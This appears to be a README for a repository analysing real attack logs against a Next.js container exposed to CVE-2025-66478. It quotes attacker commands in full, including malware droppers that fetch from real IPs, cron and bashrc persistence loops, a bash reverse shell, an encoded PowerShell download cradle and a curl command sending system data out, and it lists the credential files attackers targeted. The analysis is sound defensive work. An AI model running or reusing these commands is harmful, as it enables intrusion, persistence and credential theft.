exptechtw/cve-2025-66478Real-world attack log analysis of CVE-2025-66478 (Next.js Server Actions RCE) with malware samples, attacker IP tracking, and container security hardening lessons.
This project collects real attack logs recorded from a Next.js 15.1.2 application (running in a Docker container) exposed to the internet. These logs show how the CVE-2025-66478 vulnerability is being extensively scanned and exploited by automated attack tools in the wild.
Logging Period: 2025-12-04 ~ 2025-12-06 (approximately 48 hours)
Environment Information:
Attackers attempted to execute commands to download and run malware via the vulnerability.
| Attack Source IP | Malicious Payload URL | Description |
|---|---|---|
| 216.158.232.43 | http://216.158.232.43:12000/sex.sh | Botnet/Cryptominer |
| 38.207.161.212 | http://38.207.161.212/agent | Malicious agent program |
| 43.156.63.124 | http://43.156.63.124/tsd | Cron backdoor implant |
| 154.38.121.219 | res.qiqigece.top/nginx3 | Malware disguised as nginx |
| 47.79.42.91 | iot.632313373.xyz/nz.sh | IoT botnet script |
| 47.79.65.237 | sup001.oss-cn-hongkong.aliyuncs.com/python1.sh | Mining/Backdoor program |
| 103.135.101.15 | http://103.135.101.15/wocaosinm.sh | Malicious script |
| 38.12.24.231 | http://38.12.24.231/kworker | Malware disguised as kernel worker |
| 128.199.194.97 | http://128.199.194.97:9001/setup2.sh | Setup script |
# Typical dropper attack
curl -fsSL http://38.207.161.212/agent -o /tmp/.a && chmod +x /tmp/.a && /tmp/.a
# Implant cron persistence backdoor
curl -s -o /etc/cron.hourly/tsd http://43.156.63.124/tsd && chmod +x /etc/cron.hourly/tsd
# Complex persistence attack (multiple download methods + cron + bashrc)
u='http://38.12.24.231/kworker'; n='kworker';
for d in $HOME/.config/sys_monitor /tmp/.sys_monitor /dev/shm/.sys_monitor /var/tmp/.sys_monitor; do
mkdir -p $d;
if [ -w $d ]; then
p="$d/$n";
(curl -ks $u -o $p || wget -q --no-check-certificate $u -O $p || python3 -c "import urllib.request;urllib.request.urlretrieve('$u','$p')");
chmod +x $p;
nohup $p >/dev/null 2>&1 &
(crontab -l 2>/dev/null | grep -v $n; echo "* * * * * $p >/dev/null 2>&1") | crontab -;
echo "$p >/dev/null 2>&1 &" >> ~/.bashrc;
echo "$p >/dev/null 2>&1 &" >> ~/.zshrc;
fi;
done
Attackers attempted to establish reverse shell connections for interactive access.
# Bash reverse shell
bash -c "bash -i >& /dev/tcp/154.26.192.32/19899 0>&1"
Attackers assumed the target was a Windows system and attempted to execute PowerShell commands.
# Base64-encoded malicious PowerShell
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADUANgAuADIAMwA0AC4AMgAwADkALgAxADAAMwA6ADYAMwA5ADMAOAAvAG4AcgBDAHIAUQAnACkA
# Decoded:
# IEX (New-Object System.Net.Webclient).DownloadString('http://156.234.209.103:63938/nrCrQ')
# Mathematical calculations for vulnerability confirmation
powershell -c "41*271" # = 11111 (signature confirmation)
powershell -c "44225*41002" # = 1814113450
Attackers attempted to collect system information for subsequent attacks.
# Collect system info and exfiltrate
curl http://38.60.212.106:8000/?data=`(hostname;ip addr show;id;ip route show;ip neigh show;route -n;cat /etc/passwd;hostname -I) | base64 -w 0`
Attackers attempted to read various sensitive files and credentials.
| Category | Path |
|---|---|
| Cloud Credentials | /root/.aws/credentials, /root/.aws/config |
/root/.config/gcloud/credentials.db | |
/root/.config/gcloud/application_default_credentials | |
| SSH Keys | /root/.ssh/id_rsa, /root/.ssh/config |
| Git Credentials | /root/.git-credentials, /root/.gitconfig |
| Container/K8s | /root/.docker/config, /root/.kube/config |
/var/lib/kubelet/config.yaml | |
| Applications | /proc/self/cwd/serviceAccountKey.json (Firebase) |
/proc/self/cwd/prisma/.env, /proc/self/cwd/prisma/schema.prisma | |
| Shell History | /root/.bash_history, /root/.zsh_history |
| Cloud Tools | /root/.ossutilconfig (Alibaba Cloud OSS) |
/root/.npmrc | |
| System Configuration | /etc/ansible/ansible.cfg, /etc/passwd, /etc/shadow |
Container environment variables successfully exfiltrated through the vulnerability:
HOSTNAME=6973aeebae41
BUN_INSTALL_BIN=/usr/local/bin
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/bun-node-fallback-bin
PWD=/app
TZ=Asia/Taipei
NODE_ENV=production
BUN_RUNTIME_TRANSPILER_CACHE_PATH=0
Attackers used DNS queries for data exfiltration or vulnerability confirmation:
ping 5a58e4a0.log.dnslog.pp.ua.
Most attacks failed due to the minimal nature of the Alpine Linux container:
| Missing Tool | Impact |
|---|---|
curl | Unable to download malicious payloads |
bash | Unable to execute bash-specific syntax (e.g., reverse shell) |
powershell | Windows attacks ineffective |
python | Cannot use Python downloader |
Although wget is available, some malicious scripts internally rely on curl or bash, leading to execution failure.
The logs contain large amounts of Base64-encoded data. Below are some decoded results:
# digest: 'cm9vdAo='
Decoded: root
# digest: 'dGVzdAo='
Decoded: test
# digest: 'dnVsbmVyYWJpbGl0eV90ZXN0Cg=='
Decoded: vulnerability_test
# digest: 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCksMShiaW4pLDIoZGFlbW9uKSwzKHN5cyksNChhZG0pLDYoZGlzayksMTAod2hlZWwpLDExKGZsb3BweSksMjAoZGlhbG91dCksMjYodGFwZSksMjcodmlkZW8pCg=='
Decoded: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
# /tmp directory contents
dG90YWwgMjAKZHJ3eHJ3eHJ3dCAgICAxIHJvb3QgICAgIHJvb3QgICAgICAgICAgNDA5NiBEZWMgIDUgMTg6MDAgLgpkcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA0MDk2IERlYyAgNCAxMzozNiAuLgotcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA5ODQ4IERlYyAgNSAxODowMCBJTlNUQUxMCg==
Decoded:
total 20
drwxrwxrwt 1 root root 4096 Dec 5 18:00 .
drwxr-xr-x 1 root root 4096 Dec 4 13:36 ..
-rwxr-xr-x 1 root root 9848 Dec 5 18:00 INSTALL
Below are the recorded attack source IP addresses:
| IP Address | Country/Region (Estimated) | Attack Type |
|---|---|---|
| 216.158.232.43 | United States | Dropper |
| 38.165.44.205 | United States | Dropper |
| 23.95.44.80 | United States | Dropper |
| 154.38.121.219 | Hong Kong | Malware (nginx3) |
| 38.207.161.212 | United States | Agent |
| 43.156.63.124 | China | Cron Backdoor |
| 47.79.42.91 | China (Alibaba Cloud) | IoT Botnet |
| 47.79.65.237 | China (Alibaba Cloud) | Mining Program |
| 119.45.243.154 | China (Tencent Cloud) | Mining Program |
| 144.22.210.54 | Brazil | Dropper |
| 217.60.249.228 | Sweden | Dropper |
| 154.26.192.32 | United States | Reverse Shell |
| 156.234.209.103 | Unknown | PowerShell Payload |
| 38.60.212.106 | United States | Information Gathering |
| 103.135.101.15 | Vietnam | Botnet |
| 128.199.194.97 | Singapore (DigitalOcean) | Setup Script |
| 38.12.24.231 | United States | Persistent Malware |